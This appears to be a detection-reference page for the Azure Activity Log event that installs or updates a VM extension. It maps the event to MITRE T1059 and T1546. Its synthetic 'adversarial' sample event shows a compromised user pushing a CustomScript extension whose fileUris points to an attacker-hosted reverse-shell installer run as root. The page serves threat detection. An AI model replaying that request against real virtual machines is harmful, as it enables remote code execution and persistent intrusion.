Microsoft.Compute/virtualMachines/extensions/write

Azure

Microsoft.Compute/virtualMachines/extensions/write

service: Azure - Compute

tactics:

Persistence Execution

techniques:

T1059 T1546

tags:

Azure Compute

Event

Installs or updates a VM extension on an Azure virtual machine, which can run scripts or install software agents.

Security Context

Command execution capabilities can be leveraged by adversaries to run arbitrary scripts and tools within the cloud environment.

Log Source

Azure Activity Log

Sample Event

Adversarial. Compromised user draco@fantasticlogs.cloud installs the CustomScript Linux extension on the existing production VM vm-occamy-ingest-001, with a fileUris pointing to an attacker-controlled raw GitHub URL hosting a reverse-shell installer. The extension handler downloads and runs the script as root on next reconcile (within ~minutes). Maps to T1059 + T1546.

{
  "authorization": {
    "action": "Microsoft.Compute/virtualMachines/extensions/write",
    "scope": "/subscriptions/20000000-0000-4000-8000-000000000001/resourceGroups/rg-fantasticlogs-prod/providers/Microsoft.Compute/virtualMachines/vm-occamy-ingest-001/extensions/installerCustomScript"
  },
  "caller": "draco@fantasticlogs.cloud",
  "channels": "Operation",
  "claims": {
    "aud": "https://management.core.windows.net/",
    "iss": "https://sts.windows.net/10000000-0000-4000-8000-000000000001/",
    "appid": "04b07795-8ddb-461a-bbee-02f9e1bf7b46",
    "ipaddr": "203.0.113.66",
    "name": "Draco Malfoy",
    "http://schemas.microsoft.com/identity/claims/objectidentifier": "30000000-0000-4000-8000-001010011010",
    "http://schemas.microsoft.com/identity/claims/tenantid": "10000000-0000-4000-8000-000000000001",
    "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn": "draco@fantasticlogs.cloud"
  },
  "correlationId": "90000000-0000-4000-8000-000010101100",
  "description": "",
  "eventDataId": "90000000-0000-4000-8000-000010101101",
  "eventName": {
    "value": "EndRequest",
    "localizedValue": "End request"
  },
  "category": {
    "value": "Administrative",
    "localizedValue": "Administrative"
  },
  "eventTimestamp": "2026-04-15T22:18:08.4172395Z",
  "id": "/subscriptions/20000000-0000-4000-8000-000000000001/resourceGroups/rg-fantasticlogs-prod/providers/Microsoft.Compute/virtualMachines/vm-occamy-ingest-001/extensions/installerCustomScript/events/90000000-0000-4000-8000-000010101101/ticks/638798268884172395",
  "level": "Informational",
  "operationId": "90000000-0000-4000-8000-000010101110",
  "operationName": {
    "value": "Microsoft.Compute/virtualMachines/extensions/write",
    "localizedValue": "Create or update virtual machine extension"
  },
  "resourceGroupName": "rg-fantasticlogs-prod",
  "resourceProviderName": {
    "value": "Microsoft.Compute",
    "localizedValue": "Microsoft.Compute"
  },
  "resourceType": {
    "value": "Microsoft.Compute/virtualMachines/extensions",
    "localizedValue": "Microsoft.Compute/virtualMachines/extensions"
  },
  "resourceId": "/subscriptions/20000000-0000-4000-8000-000000000001/resourceGroups/rg-fantasticlogs-prod/providers/Microsoft.Compute/virtualMachines/vm-occamy-ingest-001/extensions/installerCustomScript",
  "status": {
    "value": "Succeeded",
    "localizedValue": "Succeeded"
  },
  "subStatus": {
    "value": "Created",
    "localizedValue": "Created (HTTP Status Code: 201)"
  },
  "submissionTimestamp": "2026-04-15T22:18:09.0184277Z",
  "subscriptionId": "20000000-0000-4000-8000-000000000001",
  "tenantId": "10000000-0000-4000-8000-000000000001",
  "properties": {
    "statusCode": "Created",
    "serviceRequestId": null,
    "requestbody": "{\"location\":\"eastus\",\"properties\":{\"publisher\":\"Microsoft.Azure.Extensions\",\"type\":\"CustomScript\",\"typeHandlerVersion\":\"2.1\",\"autoUpgradeMinorVersion\":true,\"settings\":{\"fileUris\":[\"https://raw.githubusercontent.com/draco-org/persistence-runner/main/install.sh\"]},\"protectedSettings\":\"<redacted>\"}}",
    "eventCategory": "Administrative",
    "entity": "/subscriptions/20000000-0000-4000-8000-000000000001/resourceGroups/rg-fantasticlogs-prod/providers/Microsoft.Compute/virtualMachines/vm-occamy-ingest-001/extensions/installerCustomScript",
    "message": "Microsoft.Compute/virtualMachines/extensions/write",
    "hierarchy": "10000000-0000-4000-8000-000000000001/20000000-0000-4000-8000-000000000001"
  },
  "relatedEvents": [],
  "httpRequest": {
    "clientRequestId": "90000000-0000-4000-8000-000010101111",
    "clientIpAddress": "203.0.113.66",
    "method": "PUT",
    "url": "https://management.azure.com/subscriptions/20000000-0000-4000-8000-000000000001/resourceGroups/rg-fantasticlogs-prod/providers/Microsoft.Compute/virtualMachines/vm-occamy-ingest-001/extensions/installerCustomScript?api-version=2024-03-01"
  },
  "identity": null
}

MITRE ATT&CK Mapping

Tactics: Persistence Execution

Techniques:

T1059 — Command and Scripting Interpreter — Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface a...
T1546 — Event Triggered Execution — Adversaries may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events. Various operating systems have means to monitor and subscribe to events such as logons or other user activity such as running specific applications/binaries. Cl...

Microsoft.Compute/virtualMachines/extensions/write

Event

Security Context

Log Source

Sample Event

MITRE ATT&CK Mapping

Related Events